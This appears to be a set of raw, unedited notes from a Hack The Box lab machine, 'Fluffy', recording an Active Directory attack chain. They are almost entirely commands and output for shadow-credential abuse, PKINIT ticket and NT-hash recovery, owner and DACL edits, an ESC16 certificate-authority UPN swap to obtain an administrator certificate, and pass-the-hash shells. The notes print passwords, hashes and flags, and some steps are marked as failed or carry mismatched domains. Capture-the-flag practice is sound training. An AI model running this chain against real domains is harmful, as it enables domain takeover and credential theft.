<KeyCredential structure at 0x7fe43fcba350>
  | Owner: CN=winrm service,CN=Users,DC=fluffy,DC=htb
  | Version: 0x200
  | KeyID: H3/uXs2TNGiz8yMcvWKe9s4+1IcifxvV3mP+3s2LJ/k=
  | KeyHash: b8737d4e1203d25a91324b17486ce731dacc60b2a207018eba8e31f1158cfc20
  | RawKeyMaterial: <dsinternals.common.cryptography.RSAKeyMaterial.RSAKeyMaterial object
at 0x7fe43fcba0d0>
  |  | Exponent (E): 65537
  |  | Modulus (N):
0xa12addbedf34425601f05d87446240ebca13aac8d6f19e11c6c20ac7d907b2d8bfd553e0c81cb8961d7962f9
297c5149c9ad0d10fcd05a82e220958c7b30dc0d650e8198c1a797335715c20f6fcefe7aa1758b5c2bc1fbe157
b809efb037a8b6469dc0fae2f7b286e77c96f15f0a0b2b2ffd99d641ec219f59db81a32179e30b2acd8d52133c
a858d2fdaeac7300441cabbcaf4e15f95a2d9fc5c4c7ea923738f2159f4bb4a629822780a99f341ba686572fb9
51f7984d774cb5521e8c4347ce1c289c4658ffc334d0c8ae649e4f2dfaf31cb1289f90a9160071eb12915074f1
9a7761a4e35decad9b7c191304e9f06d4bc41c636ab01b050847b2b92830abf5
  |  | Prime1 (P): 0x0
  |  | Prime2 (Q): 0x0
  | Usage: KeyUsage.NGC
  | LegacyUsage: None
  | Source: KeySource.AD
  | DeviceId: 3eee9366-a8a4-15c5-2b93-cc63f1689d0b
```

```
    | CustomKeyInfo: <CustomKeyInformation at 0x7fe43fb70230>
    |   | Version: 1
    |   | Flags: KeyFlags.NONE
    |   | VolumeType: None
    |   | SupportsNotification: None
    |   | FekKeyVersion: None
    |   | Strength: None
    |   | Reserved: None
    |   | EncodedExtendedCKI: None
    | LastLogonTime (UTC): 2025-05-25 18:36:39.885078
    | CreationTime (UTC): 2025-05-25 18:36:39.885078
```

Get TGT & key id for NTHash

```
gettgtpkinit.py -cert-pfx "8aLaZDic.pfx" -pfx-pass AQofRrdGZMsltVMixdA4
fluffy.htb/winrm_svc winrm_svc.ccache
```

```
gettgtpkinit.py -cert-pfx "7Ng23Y3A.pfx" -pfx-pass IZknMa5AWWQEFQQ4hBNS
fluffy.htb/winrm_svc winrm_svc.ccache
2025-05-25 15:37:00,153 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-05-25 15:37:00,190 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-05-25 15:37:06,350 minikerberos INFO     AS-REP encryption key (you might need this
later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-05-25 15:37:06,350 minikerberos INFO
1f64c59b8ed6729ce28298ee7c835aa06a6b6a61d26f4907d710a175aa774686
INFO:minikerberos:1f64c59b8ed6729ce28298ee7c835aa06a6b6a61d26f4907d710a175aa774686
2025-05-25 15:37:06,366 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
```

Get NT HASH

Install MINIKERBEROS inside venv inside PKINITtools

```
source venv/bin/activate
```

```
pip install minikerberos
```

FIX CLOCK SKEW

```
sudo ntpdate fluffy.htb
```

```
sudo ntpdate fluffy.htb
2025-05-25 15:36:57.381905 (-0400) +799.597991 +/- 0.294520 fluffy.htb 10.10.11.69 s1 no-
```

```
leap
CLOCK: time stepped by 799.597991
```

```
export KRB5CCNAME=winrm_svc.ccache
```

```
getnthash.py -key
1f64c59b8ed6729ce28298ee7c835aa06a6b6a61d26f4907d710a175aa774686
fluffy.htb/WINRM_SVC
```

```
getnthash.py -key 1f64c59b8ed6729ce28298ee7c835aa06a6b6a61d26f4907d710a175aa774686
fluffy.htb/WINRM_SVC
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
33bd09dcd697600edf6b3a7af4875767
```

NT HASH for **winrm_svc**
33bd09dcd697600edf6b3a7af4875767

WinRM using NT Hash

```
evil-winrm -u winrm_svc -H 33bd09dcd697600edf6b3a7af4875767 -i 10.10.11.69
```

Evil-WinRM PS C:\Users\winrm_svc\Desktop> cat user.txt
4972d829ec349658da578f9d45e02738

Going for Root.txt

```
impacket-secretsdump -hashes :33bd09dcd697600edf6b3a7af4875767
'fluffy/winrm_svc@fluffy.htb' -just-dc-user administrator
```

then get the hash

```
evil-winrm -i 10.10.11.69 -u administrator -H 32196b56ffe6f45e294117b91a83bf38
```

CERTIPY for PRIV ESC

```
certipy-ad find -vulnerable -u ca_svc@sequel.htb -hashes hash -dc-ip 10.10.11.51
```

SERVICE_SC for PRIV SEC

```
pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "ca_svc" --
action "add"
```

```
pywhisker -d "fluffy.htb" -u "p.agila" -p "prometheusx-303" --target "ca_svc" --
action "info" --device-id 3eee9366-a8a4-15c5-2b93-cc63f1689d0b
```

```
gettgtpkinit.py -cert-pfx "8aLaZDic.pfx" -pfx-pass AQofRrdGZMsltVMixdA4
fluffy.htb/winrm_svc ca.ccache
```

```
sudo ntpdate fluffy.htb
```

```
export KRB5CCNAME=ca_svc.ccache
```

```
getnthash.py -key
1f64c59b8ed6729ce28298ee7c835aa06a6b6a61d26f4907d710a175aa774686
fluffy.htb/CA_SVC
```

DIDNT WORK

GCI RECURSE EVIL WinRM

```
gci -Recurse . -ErrorAction SilentlyContinue
```

```
Get-ChildItem -Path . -Recurse -Include *.kdbx -ErrorAction SilentlyContinue
```

```
Get-ChildItem -Path . -Recurse -Include *.log -ErrorAction SilentlyContinue
```

```
C:\Users\winrm_svc\Documents> Set-ItemProperty -Path
'C:\Users\winrm_svc\AppData\Local\Microsoft\Windows\UsrClass.dat' -Name
Attributes -Value ([System.IO.FileAttributes]::Normal)
```

HIDDEN SAM, LOG FILES

```
Directory: C:\Windows\System32\config



Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a-hs-        9/14/2018  11:09 PM          90112 BBI.LOG1
-a-hs-        9/14/2018  11:09 PM          45056 BBI.LOG2
-a-hs-        9/14/2018  11:09 PM          65536 BBI{1c37910b-b8ad-11e8-aa21-
e41d2d101530}.TM.blf
-a-hs-        9/14/2018  11:09 PM         524288 BBI{1c37910b-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
-a-hs-        9/14/2018  11:09 PM         524288 BBI{1c37910b-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
-a-hs-        4/17/2025   6:42 PM          28672 BCD-Template.LOG
-a-hs-        9/14/2018  11:09 PM        5242880 COMPONENTS.LOG1
-a-hs-        9/14/2018  11:09 PM       11915264 COMPONENTS.LOG2
```

```
-a-hs-        5/26/2025   4:34 PM              0 COMPONENTS{1c379063-b8ad-11e8-aa21-
e41d2d101530}.TxR.0.regtrans-ms
-a-hs-        5/26/2025   4:34 PM              0 COMPONENTS{1c379063-b8ad-11e8-aa21-
e41d2d101530}.TxR.1.regtrans-ms
-a-hs-        5/26/2025   4:34 PM              0 COMPONENTS{1c379063-b8ad-11e8-aa21-
e41d2d101530}.TxR.2.regtrans-ms
-a-hs-        5/26/2025   4:34 PM              0 COMPONENTS{1c379063-b8ad-11e8-aa21-
e41d2d101530}.TxR.blf
-a-hs-        5/20/2025   2:46 PM          65536 COMPONENTS{1c379064-b8ad-11e8-aa21-
e41d2d101530}.TM.blf
-a-hs-        5/19/2025   3:01 PM         524288 COMPONENTS{1c379064-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
-a-hs-        5/20/2025   2:46 PM         524288 COMPONENTS{1c379064-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
-a-hs-        9/14/2018  11:09 PM         164864 DEFAULT.LOG1
-a-hs-        9/14/2018  11:09 PM              0 DEFAULT.LOG2
-a-hs-        9/14/2018  11:09 PM          49152 DRIVERS.LOG1
-a-hs-        9/14/2018  11:09 PM         761856 DRIVERS.LOG2
-a-hs-        5/19/2025   7:52 PM          65536 DRIVERS{1c37907b-b8ad-11e8-aa21-
e41d2d101530}.TM.blf
-a-hs-        5/19/2025   7:52 PM         524288 DRIVERS{1c37907b-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
-a-hs-        4/17/2025   5:42 PM         524288 DRIVERS{1c37907b-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
-a-hs-        9/14/2018  11:09 PM          32768 ELAM.LOG1
-a-hs-        9/14/2018  11:09 PM              0 ELAM.LOG2
-a-hs-        4/17/2025   5:42 PM          65536 ELAM{1c379127-b8ad-11e8-aa21-
e41d2d101530}.TM.blf
-a-hs-        4/17/2025   5:42 PM         524288 ELAM{1c379127-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000001.regtrans-ms
-a-hs-        4/17/2025   5:42 PM         524288 ELAM{1c379127-b8ad-11e8-aa21-
e41d2d101530}.TMContainer00000000000000000002.regtrans-ms
-a-hs-        9/14/2018  11:09 PM          65536 SAM.LOG1
-a-hs-        9/14/2018  11:09 PM          49152 SAM.LOG2
-a-hs-        9/14/2018  11:09 PM          65536 SECURITY.LOG1
-a-hs-        9/14/2018  11:09 PM          65536 SECURITY.LOG2
-a-hs-        9/14/2018  11:09 PM        6324224 SOFTWARE.LOG1
-a-hs-        9/14/2018  11:09 PM       12496896 SOFTWARE.LOG2
-a-hs-        9/14/2018  11:09 PM        5197824 SYSTEM.LOG1
-a-hs-        9/14/2018  11:09 PM        3014656 SYSTEM.LOG2


    Directory: C:\Windows\System32\config\RegBack


Mode                LastWriteTime         Length Name
```

```
----                -------------         ------ ----
-a-hs-        5/14/2025   2:23 PM              0 DEFAULT.LOG1
-a-hs-        5/14/2025   2:23 PM              0 DEFAULT.LOG2
-a-hs-        5/14/2025   2:23 PM              0 SAM.LOG1
-a-hs-        5/14/2025   2:23 PM              0 SAM.LOG2
-a-hs-        5/14/2025   2:23 PM              0 SECURITY.LOG1
-a-hs-        5/14/2025   2:23 PM              0 SECURITY.LOG2
-a-hs-        5/14/2025   2:23 PM              0 SOFTWARE.LOG1
-a-hs-        5/14/2025   2:23 PM              0 SOFTWARE.LOG2
-a-hs-        5/14/2025   2:23 PM              0 SYSTEM.LOG1
-a-hs-        5/14/2025   2:23 PM              0 SYSTEM.LOG2
```

```
Set-ItemProperty -Path
'C:\Users\winrm_svc\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1' -Name
Attributes -Value ([System.IO.FileAttributes]::Normal)
```

CHANGE owner of CA SVC

```
impacket-owneredit -action write -new-owner 'p.agila' -target 'ca_svc'
'fluffy.htb'/'p.agila':'prometheusx-303'
```

```
impacket-owneredit -action write -new-owner 'winrm_svc' -target 'ca_svc'
'fluffy.htb'/'winrm_svc' -hashes :33bd09dcd697600edf6b3a7af4875767
```

```
impacket-owneredit -action write -new-owner 'winrm_svc' -target 'ca_svc'
'fluffy.htb'/'winrm_svc':'33bd09dcd697600edf6b3a7af4875767'
```

TRY With BLOODY AD

```
bloodyAD --host 10.10.11.69 -u winrm_svc -h 33bd09dcd697600edf6b3a7af4875767 -d
fluffy.htb add shadowCredentials ca_svc
```

pywhisker -d fluffy.htb -u "winrm_svc" -h "33bd09dcd697600edf6b3a7af4875767" --target "CA_SVC" --action "list"

```
──(root㉿kali)-[~]
bloodyAD --host 10.10.11.69 -u p.agila -p prometheusx-303 -d fluffy.htb add
shadowCredentials ca_svc
[+] KeyCredential generated with following sha256 of RSA key:
c4d24d94b06dfb5b1539ca39801bd05a8952f342c155cbac74f8965af369db54
No outfile path was provided. The certificate(s) will be stored with the filename:
RIOLuyjK
[+] Saved PEM certificate at path: RIOLuyjK_cert.pem
[+] Saved PEM private key at path: RIOLuyjK_priv.pem
```

```
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem RIOLuyjK_cert.pem -key-pem RIOLuyjK_priv.pem
fluffy.htb/ca_svc RIOLuyjK.ccache
```

```
python3 gettgtpkinit.py -cert-pem RIOLuyjK_cert.pem -key-pem RIOLuyjK_priv.pem
fluffy.htb/ca_svc RIOLuyjK.ccache
```

gettgtpkinit.py -cert-pem RIOLuyjK_cert.pem -key-pem RIOLuyjK_priv.pem
fluffy.htb/ca_svc ca_svc.ccache

```
export KRB5CCNAME=wS9Y9ijY.ccache
```

get hash

```
python3 getnthash.py -key
e2026aeb7078af5059b96204fe08bcf1523fdf8268f977c3b6c1a18962316f8f
fluffy.htb/CA_SVC
```

```
certipy req -u 'p.agila' -p 'prometheusx-303' -ca 'fluffy.htb\ca_svc' -template
'User' -upn 'ca_svc@fluffy.htb' -target fluffy.htb
```

```
impacket-ntlmrelayx -t ldap://10.10.11.69 --shadow-credentials --shadow-target
'ca_svc'
```

```
certipy-ad shadow auto -u p.agila@fluffy.htb -p prometheusx-303 -account ca_svc
```

```
impacket-owneredit -action write -new-owner 'p.agila' -target 'ca_svc'
'fluffy.htb'/'p.agila':'prometheusx-303'

impacket-dacledit -action 'write' -rights 'FullControl' -principal 'p.agila' -target
'ca_svc' fluffy.htb/p.agila:prometheusx-303
```

NT HASH for CA_SVC

```
─# python3 getnthash.py -key
e2026aeb7078af5059b96204fe08bcf1523fdf8268f977c3b6c1a18962316f8f fluffy.htb/CA_SVC
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
ca0f4f9e9eb8a092addf53bb03fc98c8
```

FULL PROCESS to GET NT HASH for CA_SVC

```
bloodyAD --host 10.10.11.69 -u p.agila -p prometheusx-303 -d fluffy.htb add
shadowCredentials ca_svc
[+] KeyCredential generated with following sha256 of RSA key:
06cc6bda0891d9d60170b6fe1b574bd96c5cc805d76885b21185e869d21a6af2
No outfile path was provided. The certificate(s) will be stored with the filename:
wS9Y9ijY
[+] Saved PEM certificate at path: wS9Y9ijY_cert.pem
[+] Saved PEM private key at path: wS9Y9ijY_priv.pem
A TGT can now be obtained with https://github.com/dirkjanm/PKINITtools
Run the following command to obtain a TGT:
python3 PKINITtools/gettgtpkinit.py -cert-pem wS9Y9ijY_cert.pem -key-pem wS9Y9ijY_priv.pem
fluffy.htb/ca_svc wS9Y9ijY.ccache
```

```
sudo ntpdate fluffy.htb
```

```
# python3 gettgtpkinit.py -cert-pem wS9Y9ijY_cert.pem -key-pem wS9Y9ijY_priv.pem
fluffy.htb/ca_svc wS9Y9ijY.ccache
2025-05-27 14:46:59,962 minikerberos INFO     Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-05-27 14:46:59,983 minikerberos INFO     Requesting TGT
INFO:minikerberos:Requesting TGT
2025-05-27 14:47:05,825 minikerberos INFO     AS-REP encryption key (you might need this
later):
INFO:minikerberos:AS-REP encryption key (you might need this later):
2025-05-27 14:47:05,825 minikerberos INFO
e2026aeb7078af5059b96204fe08bcf1523fdf8268f977c3b6c1a18962316f8f
INFO:minikerberos:e2026aeb7078af5059b96204fe08bcf1523fdf8268f977c3b6c1a18962316f8f
2025-05-27 14:47:05,845 minikerberos INFO     Saved TGT to file
INFO:minikerberos:Saved TGT to file
```

```
──(venv)─(root㉿kali)-[/home/kali/PKINITtools]
└─# export KRB5CCNAME=wS9Y9ijY.ccache

┌──(venv)─(root㉿kali)-[/home/kali/PKINITtools]
└─# python3 getnthash.py -key
e2026aeb7078af5059b96204fe08bcf1523fdf8268f977c3b6c1a18962316f8f fluffy.htb/CA_SVC
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
ca0f4f9e9eb8a092addf53bb03fc98c8
```

CHECK

```
netexec smb 10.10.11.69 -u ca_svc -H ca0f4f9e9eb8a092addf53bb03fc98c8
```

```
certipy-ad find -vulnerable -u ca_svc@fluffy.htb -hashes
ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69
```

```
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "fluffy-DC01-CA",
      "DNS Name": "DC01.fluffy.htb",
      "Certificate Subject": "CN=fluffy-DC01-CA, DC=fluffy, DC=htb",
      "Certificate Serial Number": "3670C4A715B864BB497F7CD72119B6F5",
      "Certificate Validity Start": "2025-04-17 16:00:16+00:00",
      "Certificate Validity End": "3024-04-17 16:11:16+00:00",
      "Web Enrollment": "Disabled",
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Permissions": {
        "Owner": "FLUFFY.HTB\\Administrators",
        "Access Rights": {
          "2": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "1": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "512": [
            "FLUFFY.HTB\\Cert Publishers"
          ]
        }
      }
    }
  },
  "Certificate Templates": "[!] Could not find any certificate templates"
}
```

CERTIFY.EXE

```
upload Certify.exe Certify.exe
```

```
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.16.13/Certify.exe" -OutFile "C:\Users\winrm_svc\Documents\Certify.exe"
```

CERTIPY

```
certipy find -u ca_svc -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dn fluffy.htb -dc-ip 10.10.11.69
```

```
"User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Disabled Extensions": [
        "1.3.6.1.4.1.311.25.2"
      ],
      "Permissions": {
        "Owner": "FLUFFY.HTB\\Administrators",
        "Access Rights": {
          "1": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "2": [
            "FLUFFY.HTB\\Domain Admins",
            "FLUFFY.HTB\\Enterprise Admins",
            "FLUFFY.HTB\\Administrators"
          ],
          "512": [
            "FLUFFY.HTB\\Cert Publishers"
          ]
        }
      },
      "[!] Vulnerabilities": {
        "ESC16": "Security Extension is disabled."
      },
      "[*] Remarks": {
        "ESC16": "Other prerequisites may be required for this to be exploitable. See the wiki for more details."
      }
    }
```

ESC16 vulnerable

make sure NTDATE (time synced with fluffy.htb)

find vuln

```
certipy find -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip 10.10.11.69 -stdout -vulnerable
```

```
certipy find -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.10.11.69 -stdout -vulnerable
```

```
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
    Permissions
      Owner                             : FLUFFY.HTB\Administrators
      Access Rights
        ManageCa                        : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        ManageCertificates              : FLUFFY.HTB\Domain Admins
                                          FLUFFY.HTB\Enterprise Admins
                                          FLUFFY.HTB\Administrators
        Enroll                          : FLUFFY.HTB\Cert Publishers
    [!] Vulnerabilities
      ESC16                             : Security Extension is disabled.
    [*] Remarks
      ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates                   : [!] Could not find any certificate templates
```

```
certipy account -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -target
'fluffy.htb' -upn 'administrator' -user 'p.agila' update
```

check

```
certipy account -u 'ca_svc' -hashes ca0f4f9e9eb8a092addf53bb03fc98c8 -dc-ip
10.10.11.69 -user 'p.agila' read
```

---

time sync with fluffy.htb

```
sudo ntpdate fluffy.htb
```

```
certipy find -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.10.11.69 -stdout -
vulnerable
```

```
Certificate Authorities
  0
    CA Name                             : fluffy-DC01-CA
    DNS Name                            : DC01.fluffy.htb
    Certificate Subject                 : CN=fluffy-DC01-CA, DC=fluffy, DC=htb
    Certificate Serial Number           : 3670C4A715B864BB497F7CD72119B6F5
    Certificate Validity Start          : 2025-04-17 16:00:16+00:00
    Certificate Validity End            : 3024-04-17 16:11:16+00:00
```

```
certipy account -u 'p.agila' -p 'prometheusx-303' -target 'DC01.fluffy.htb' -upn
'administrator' -user 'winrm_svc' update
```

DC01.fluffy.htb

to check

```
certipy account -u 'p.agila' -p 'prometheusx-303' -dc-ip 10.10.11.69 -user
'winrm_svc' read
```

request certificate as admin

```
certipy req -dc-ip '10.10.11.69' -u 'administrator' -p 'prometheusx-303' -target
'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' -template 'User'
```

revert victim account

```
certipy account -u 'p.agila' -p 'prometheusx-303' -target 'fluffy.htb' -upn
'winrm_svc' -user 'winrm_svc' update
```

authenticate as target admin

```
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username
'administrator' -domain 'fluffy.htb'
```

LATER

obtain cred for victim account

```
certipy shadow -u 'p.agila' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account
'winrm_svc' auto
```

export victim certificate

```
export KRB5CCNAME=winrm_svc.ccache
```

```
certipy req -k -dc-ip '10.10.11.69' -target 'CA.FLUFFY.HTB' -ca 'FLUFFY-CA' -
template 'User'
```

ADMIN DONE DEAL

CHECK SERVER NAME, CA NAME

```
certipy find -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
```

```
-dc-ip '10.10.11.69' -stdout -vulnerable
```

```
[*] Successfully retrieved CA configuration for 'fluffy-DC01-CA'
[*] Checking web enrollment for CA 'fluffy-DC01-CA' @ 'DC01.fluffy.htb'
.
.
.
Certificate Authorities
  0
    CA Name                                 : fluffy-DC01-CA
    DNS Name                                : DC01.fluffy.htb
```

update time

```
sudo ntpdate fluffy.htb
```

see victim UPN (optional)

```
certipy account \
-u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip '10.10.11.69' -user 'ca_svc' \
read
```

```
$ certipy account \
    -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip '10.10.11.69' -user 'ca_svc' \
    read
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'ca_svc':
    cn                                    : certificate authority service
    distinguishedName                     : CN=certificate authority
service,CN=Users,DC=fluffy,DC=htb
    name                                  : certificate authority service
    objectSid                             : S-1-5-21-497550768-2797716248-2627064577-1103
    sAMAccountName                        : ca_svc
    servicePrincipalName                  : ADCS/ca.fluffy.htb
    userPrincipalName                     : ca_svc
    userAccountControl                    : 66048
    whenCreated                           : 2025-04-17T16:07:50+00:00
    whenChanged                           : 2025-05-30T01:17:04+00:00
```

use victim account to target admin

> certipy account \

```
-u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip '10.10.11.69' -upn 'administrator' \
-user 'ca_svc' update
```

```
$ certipy account \
    -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip '10.10.11.69' -upn 'administrator' \
    -user 'ca_svc' update
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                     : administrator
[*] Successfully updated 'ca_svc'
```

obtain creds for victim (if needed)

```
certipy shadow \
```

```
-u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip '10.10.11.69' -account 'ca_svc' \
auto
```

```
└─$ certipy shadow \
    -u 'ca_svc@fluffy.htb' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
    -dc-ip '10.10.11.69' -account 'ca_svc' \
    auto
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '01783ddd-caf0-f5aa-7d35-4a4637621372'
[*] Adding Key Credential with device ID '01783ddd-caf0-f5aa-7d35-4a4637621372' to the Key
Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '01783ddd-caf0-f5aa-7d35-
4a4637621372' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ca_svc@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'ca_svc.ccache'
[*] Wrote credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Restoring the old Key Credentials for 'ca_svc'
[*] Successfully restored the old Key Credentials for 'ca_svc'
[*] NT hash for 'ca_svc': ca0f4f9e9eb8a092addf53bb03fc98c8
```

```
export KRB5CCNAME=ca_svc.ccache
```

request cert

```
certipy req \
```

```
-k -dc-ip '10.10.11.69' \
-target 'DC01.fluffy.htb' -ca 'fluffy-DC01-CA' \
-template 'User'
```

```
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Requesting certificate via RPC
[*] Request ID is 17
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
```

revert victim's UPN

```
certipy account \
```

```
-u 'ca_svc@corp.local' -hashes 'ca0f4f9e9eb8a092addf53bb03fc98c8' \
-dc-ip '10.10.11.69' -upn 'ca_svc' \
-user 'ca_svc' update
```

```
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Updating user 'ca_svc':
    userPrincipalName                   : ca_svc
[*] Successfully updated 'ca_svc'
```

authenticate as target admin

```
certipy auth \
```

```
-dc-ip '10.10.11.69' -pfx 'administrator.pfx' \
-username 'administrator' -domain 'fluffy.htb'
```

```
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator'
[*] Using principal: 'administrator@fluffy.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fluffy.htb':
aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
```

ACCESS ADMIN DESKTOP

```
impacket-psexec fluffy.htb/administrator@10.10.11.69 -hashes
aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e
```

```
type C:\Users\Administrator\Desktop\root.txt
```

ca29bf18e5cd9b7ae83aa9cabb3fcb18